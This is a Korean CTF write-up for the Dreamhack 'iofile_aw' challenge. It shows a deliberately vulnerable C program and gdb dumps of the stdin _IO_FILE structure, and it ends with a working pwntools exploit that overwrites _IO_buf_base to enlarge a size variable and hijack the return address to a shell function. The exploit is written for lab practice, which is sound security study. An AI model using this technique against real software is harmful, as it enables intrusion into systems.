1. intro
2. code 및 분석
2.1 code
// gcc -o iofile_aw iofile_aw.c -fno-stack-protector -Wl,-z,relro,-z,now
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char buf[80];
int size = 512;
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void read_str() {
fgets(buf, sizeof(buf)-1, stdin);
}
void get_shell() {
system("/bin/sh");
}
void help() {
printf("read: Read a line from the standard input and split it into fields.\n");
}
void read_command(char *s) {
/* No overflow here */
int len;
len = read(0, s, size);
if(s[len-1] == '\x0a')
s[len-1] = '\0';
}
int main(int argc, char *argv[]) {
int idx = 0;
int sel;
char command[512];
long *dst = 0;
long *src = 0;
memset(command, 0, sizeof(command)-1);
initialize();
while(1) {
printf("# ");
read_command(command);
if(!strcmp(command, "read")) {
read_str();
}
else if(!strcmp(command, "help")) {
help();
}
else if(!strncmp(command, "printf", 6)) {
if ( strtok(command, " ") ) {
src = (long *)strtok(NULL, " ");
dst = (long *)stdin;
if(src)
memcpy(dst, src, 0x40);
}
}
else if(!strcmp(command, "exit")) {
return 0;
}
else {
printf("%s: command not found\n", command);
}
}
return 0;
}
2.2 분석
무엇보다 전역 변수로 buf 변수와 size 변수가 선언되어있으며 해당 위치는 아래와 같다.
gef➤ p &size
$4 = (<data variable, no debug info> *) 0x602010 <size>
gef➤ x/40g 0x602000
0x602000: 0x0000000000000000 0x0000000000000000
0x602010 <size>: 0x0000000000000200 0x0000000000000000
0x602020 <stdout@@GLIBC_2.2.5>: 0x00007fa094ba76c0 0x0000000000000000
0x602030 <stdin@@GLIBC_2.2.5>: 0x00007fa094ba69a0 0x0000000000000001
0x602040 <buf>: 0x0000000000000000 0x0000000000000000
0x602050 <buf+16>: 0x0000000000000000 0x0000000000000000
0x602060 <buf+32>: 0x0000000000000000 0x0000000000000000
0x602070 <buf+48>: 0x0000000000000000 0x0000000000000000
0x602080 <buf+64>: 0x0000000000000000 0x0000000000000000
...
main 함수에서 read_command() 함수를 실행시키며, command 값이
read면 read_str() 함수를 실행
help면 help() 함수를 실행
printf면 strtok() 함수와 src 변수에 값이 있다면 memcpy 함수를 실행
exit면 종료를
이외에는 command not fount 메시지를 출력한다.
다시 각각을 보면
문자열 입력 후 실행되는 read_command() 함수는 받아들인 문자열의 길이를 확인해서 해당 길이 내에 \x0a 즉 엔터를 \0으로 바꿔준다.
read 명령어의 read_str() 함수는 전역 변수 buf에 buf-1의 크기만큼 stdin으로 받아들인다.
가장 중요한 printf 함수는 받아들인 명령어를 strtok를 통해 " "가 포함되어있으면 분리하고,
strtok(NULL, " ") 값을 src에 넣고,
stdin 주소를 dst에 넣은 다음
src 값을 dst에 복사한다.
help() 함수 및 exit 명령은 메시지 출력 / 종료 메뉴기에 무시하자.
더불어 shell을 실행시켜주는 get_shell 함수를 포함하고 있다.
3. 취약점 확인 및 공격 준비
3.1 취약점
보호 기법은 아래와 같다.
┌──(kali㉿kali)-[~/Downloads]
└─$ checksec iofile_aw
[*] '/home/kali/Downloads/iofile_aw'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
아무리 봐도 취약점은 printf 메뉴에서 stdin 주소에 값을 삽입할 수 있다는 점이다.
우선 stdin의 값은 아래와 같고, _IO_FILE 구조체의 형식을 따르는 것을 알 수 있다.
gef➤ p stdin
$2 = (FILE *) 0x7ffff7fa59a0 <_IO_2_1_stdin_>
gef➤ x/40gx 0x7ffff7fa59a0
0x7ffff7fa59a0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ffff7fa5a23
0x7ffff7fa59b0 <_IO_2_1_stdin_+16>: 0x00007ffff7fa5a23 0x00007ffff7fa5a23
0x7ffff7fa59c0 <_IO_2_1_stdin_+32>: 0x00007ffff7fa5a23 0x00007ffff7fa5a23
0x7ffff7fa59d0 <_IO_2_1_stdin_+48>: 0x00007ffff7fa5a23 0x00007ffff7fa5a23
0x7ffff7fa59e0 <_IO_2_1_stdin_+64>: 0x00007ffff7fa5a24 0x0000000000000000
...
앞서 알아본 것과 같이 구조체 내의 값은 아래의 값을 가지고 있다.
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
이를 테이블로 만들어 다시 보면 아래와 같다.
flags | fbad208b | read ptr | 7ffff7fa5a23 |
read end | 7ffff7fa5a23 | read base | 7ffff7fa5a23 |
write base | 7ffff7fa5a23 | write ptr | 7ffff7fa5a23 |
write end | 7ffff7fa5a23 | buf base | 7ffff7fa5a23 |
buf end | 7ffff7fa5a24 |
현재 stdin에 memcpy로 받아들이는 크기가 0x40 byte이므로 buf base 값까지 덮어씌울 수 있다.
그러므로 일단 vtable 변조는 불가능하다.
다만, buf base 값을 변조하면 변조된 buf base 주소에 stdin으로 값을 쓸 수 있게 된다.
이를 이용하면 writable area에 값을 쓸 수 있을 것이다.
현 문제에서 ASLR이 걸려있을 것으로 판단되며, 이에 bss 영역에 위치하는 size 변수의 크기를 키워 command 변수를 통해 main 함수의 ret address 변조가 가능할 것으로 보인다.
3.2 공격 준비
우선 위에서 보았던 것과 같이 buf 변수는 bss 영역에 stdin - 0x20 byte에 위치하고 있다.
gef➤ x/gx 0x602030
0x602030 <stdin@@GLIBC_2.2.5>: 0x00007ffff7fa59a0
gef➤ x/gx 0x602030 - 0x24
0x60200c: 0x0000020000000000
gef➤ x/gx 0x602030 - 0x20
0x602010 <size>: 0x0000000000000200
그리고 command 변수로부터 main ret 까지의 offset은
...
0x0000000000400ad3 <+97>: lea -0x220(%rbp),%rax
0x0000000000400ada <+104>: mov %rax,%rdi
0x0000000000400add <+107>: call 0x400a1c <read_command>
...
이기에 0x220 + 0x8 (sfp) 임을 알 수 있다.
그러므로
printf 명령어를 통한 buf_base 변조
read 명령어를 통한 size 변수값 변조
이후 command 삽입과 동시에 ret address 변조
exit 명령어로 종료
의 흐름으로 공격하면 될 것으로 보인다.
4. exploit
위를 토대로 페이로드를 작성하면 아래와 같다.
from pwn import *
#p = remote('host3.dreamhack.games',11454)
p = process('./iofile_aw')
e = ELF('./iofile_aw')
size = e.symbols['size']
system = e.symbols['get_shell']
pay = p64(0xfbad208b) #flag
pay += p64(0) #read ptr
pay += p64(0) #read end
pay += p64(0) #read base
pay += p64(0) #write base
pay += p64(0) #write ptr
pay += p64(0) #write end
pay += p64(size) #buf base
p.sendafter(b'# ', b'printf ' + pay)
pay2 = p64(0x1000)
p.sendlineafter(b'# ',b'read\x00')
p.sendline(p64(0x300))
pay3 = b''
pay3 += b'A'*0x223
pay3 += p64(e.symbols['get_shell'])
p.sendafter(b'# ', b'exit\x00' + pay3)
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 22225: Done
[*] '/home/kali/Downloads/iofile_aw'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
$ id
uid=1000(iofile_aw) gid=1000(iofile_aw) groups=1000(iofile_aw)
$ cat flag
DH{----------#플래그는 삭제
'Wargame > Dreamhack' 카테고리의 다른 글
ssp_000 (0) | 2022.08.18 |
---|---|
off_by_one_001 (0) | 2022.08.18 |
Bypass IO_validate_vtable (0) | 2022.08.17 |
_IO_FILE Arbitrary Address Write (0) | 2022.08.16 |
_IO_FILE Arbitrary Address Read (0) | 2022.08.16 |